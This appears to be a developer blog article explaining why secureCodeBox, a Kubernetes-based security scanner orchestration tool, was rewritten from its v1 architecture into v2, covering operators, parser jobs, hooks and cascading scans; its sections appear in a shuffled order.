• the dashed arrows are actions, e.g. calls to the Kubernetes API or doing a scan
• the solid arrows are data flows
• the solid purple boxes are part of the secureCodeBox v2
• the solid white boxes are external systems

Basic Idea​

The basic idea of the new architecture is to define the scanners as custom resources and schedule them as jobs in Kubernetes. The UI to interact with secureCodeBox is simply the Kubernetes API and kubectl. So, how does a scan works in this new design?

1. A new scan is triggered via Kubernetes API or kubectl.
2. The operator submits a new scan job which consists of two containers:
   1. The scanner which is a simple container running the CLI tool like Zap or such (see full list of integrated scanners),
   2. and the lurker sidecar which is a generic container used by all scanners which siphons all output from the CLI scanner into a S3 storage. (By default secureCodeBox contains MinIO, but you can use any S3 compatible storage.)
3. Then the operator starts a parser container job for this particular scanner which transforms the raw results into our well defined finding format and stores them back into the S3 storage.
4. After that the operator submits jobs for all registered read-write hooks. This is a concept to allow post processing of findings. E.g. you can adjust fields or enrich the findings with data from other systems.
5. As last step the operator submits jobs for all registered read hooks. This is a concept to exfiltrate data from the secureCodeBox into external systems (e.g. notifications via chat or email, import into a VMS like DefectDojo etc.).

Design Goals​

What about the design goals from the v1 architecture? Let's go through each of them:

It should be possible to easily integrate new scanners.

The scanners are containers as in v1, but way more simpler: There is no need to jam the CLI tool into some glue code which transforms the incoming arguments and the outgoing results from the tool. You just simply create an image with the tool expecting its arguments and spitting out its result as is. The parsing of the result is done in a separate container. So you simply write a companion parser image for your scanner image which transforms the stored raw result into a generic findings format.

Writing such a companion parser is quite simple because we provide an SDK to help you with that. If you are curious about this topic you can read our documentation about integrating a new scanner.

All components should be loosely coupled to easily swap them.

The basic idea oft loosely coupling all components is nearly the same as in v1. We separate all components into individual services. Certainly more lightweight than in v1 because we drastically reduced the complexity of the individual scanner images. Most of the components are individual containers communicating via well defined APIs (Kubernetes API instead of own REST API) to each other.

But there is also a major improvement over the v1 architecture. As mentioned in the previous articles we had a web UI in v1. This introduced accidentally a tight coupling between the scanners and the engine because for each new scanner or feature of one it was mandatory to adapt the UI. We introduced a tight coupling through the backdoor. This was a major pain in the ass when it came to releases because we had to release everything at once. All the scanners and the engine which were located in individual repositories. This resulted in a complete day job to make a release.

With the new architecture we strictly decoupled scanners and engine. The scanners are custom resources and the engine is an operator. Both well known concepts of Kubernetes decoupled by the API provided by Kubernetes. If you now add a new scanner there is no need to touch the operator. This architecture has one downside. It is tightly coupled to Kubernetes. So it is not possible to run secureCodeBox without Kubernetes or a future system which provides the same API. But we are willing to accept this tradeoff due to all the benefits we receive.

The whole deployment should run anywhere (local, VMs, Cloud, etc.) and scale.

This does not hold anymore! For secureCodeBox v2 a Kubernetes cluster is mandatory as environment. Of course you can run secureCodeBox on any virtual machine, cloud or local, as far as you install Kubernetes. We put up with this trade-off because Kubernetes is ubiquitous nowadays and the benefits as mentioned above are worth it.

The definition and implementation of a scan process should be easy.

We defined our own YAML syntax to declare a scan process. This is way easier than generating BPMN models in Java as for secureCodeBox v1. You can see it in action at our how to section. It's simply writing YAML 😸

New Design goals​

Since we are already making a breaking change we could add some new design goals which we considered of importance:

Scanners Does Not Run All the Time Idling​

This is the main reason why we use Kubernetes as underlying platform: Kubernetes manages when to start and stop containers. With this new architecture containers only run when they have work to do. The only component which runs all the time is the operator and maybe the S3 storage if you use the built in instead of an external one.

Easy Use in Cloud Based Projects​

In environments where projects share large scale Kubernetes clusters it is possible to install the operator as a central component. The scanners instead can be installed and run in the namespaces of the project. So they can use secureCodeBox complete independently. They need not beg some cluster administrators to install new scanners or change a scan process. The projects can do this on their on behalf inside their project namespace.

No Need of Central CI/CD​

In v1 you needed a system which triggers a scan. Typically this was a CI/CD system which made a REST API call to the engine. This is not necessary anymore. You can simply run a scan with kubectl. Also you can schedule regularly scans directly inside Kubernetes. But despite that you can trigger a scan from your CI/CD anyway. Just simply call the Kubernetes API.

CLI First​

Since we learned that the full bloated web UI of secureCodeBox v1 was only a nice feature for management slides, we completely abandoned such a UI. Our main target audience are developers which are used to command line interfaces and embrace DevSecOps where you want to automate as much as possible. A CLI is obviously way more convenient to automate than a web UI.

But anyway you may want some web UI to manage your findings. At the moment we provide simply Kibana and Elasticsearch to visualize them. But we're working hard on better solutions. Additionally you can import all the findings in any system you want with a custom read hook.

Cascading Scans​

We had early the demand to trigger subsequent scans based on previous scan results. A very simple but common use case is to scan a host for open ports and afterwards scan these ports with dedicated scanners. In v1 we used a galactic workaround to achieve this: We first executed a Nmap scan and stored the result. Then we executed separate scans for the found open ports. The orchestration was done with Jenkins pipelines and some Python scripts. Actually we hacked a separate "engine" on top of the main BPMN engine because we couldn't extend it to execute sub process models in a process model with separate scopes. You see this was not a very well engineered solution 😉

Since we introduced in v2 our own YAML syntax to define scans, we had the opportunity to just extend it for the purpose of cascading scans. We introduced the Cascading Rule custom resource. With this you can specify a scanner to be scheduled based on previous findings.

Cover photo by Evan Dennis on Unsplash.

In this article I will give you a deeper insight why we decided to make a major breaking rewrite of the secureCodeBox. First I'll give you an overview of the v1 architecture and the rationale behind. Also outline the problems we stumbled upon using secureCodeBox v1 for some years now. Afterwards I introduce you to the new secureCodeBox v2 architecture and the rationale behind.

Architecture of the Version 1​

Let's start with the design goals of v1:

1. It should be possible to easily integrate new scanners.
2. All components should be loosely coupled to easily swap them.
3. The whole deployment should run anywhere (local, VMs, Cloud, etc.) and scale.
4. The definition and implementation of a scan process should be easy.

This is not an exhaustive list of requirements for the architecture, but the most important ones. This resulted in a design outlined in the next image:

This is a simplified component diagram of the secureCodeBox v1. Unimportant components (like reverse proxy, vulnerability management system, etc.) are left out for brevity. So lets dig deeper into these goals and how they were achieved.

I introduce some wording for the next sections:

• Scanner: This is the component composed of a container with a particular security scanner.
• Engine: This is the core component responsible for orchestration of scanners, providing the REST API and the web UI in secureCodeBox v1.
• Scan process: A description what kind of scanners we want to run against a target.

So, let's have a look how we tried to achieve the architectural design goals from above.

Easy Integration of New Scanners​

There are a lot of tools for security testing out there. Hence, it was necessary to make it possible to integrate them easily. We achieved this by encapsulating each scanner into its own Docker container. The basic idea was: If there is a new scanner, just put it inside a Docker container and attach it to the secureCodeBox engine.

Typically, these scanners are Linux based command line tools and putting them inside a container is the easy part. On the other hand, each of these tools have different user interfaces:

• They use different options, arguments, and config file formats.
• They vary in what they give as result (print to STDOUT or files) and how (XML, JSON, custom etc.).

So obviously we needed some glue code which translates from the secureCodeBox engine to the command line arguments of the scanner and translates back the results to a unified format the engine can handle. This resulted in the scanner scaffolding frameworks (Ruby and NodeJS) to help with the scanner integration.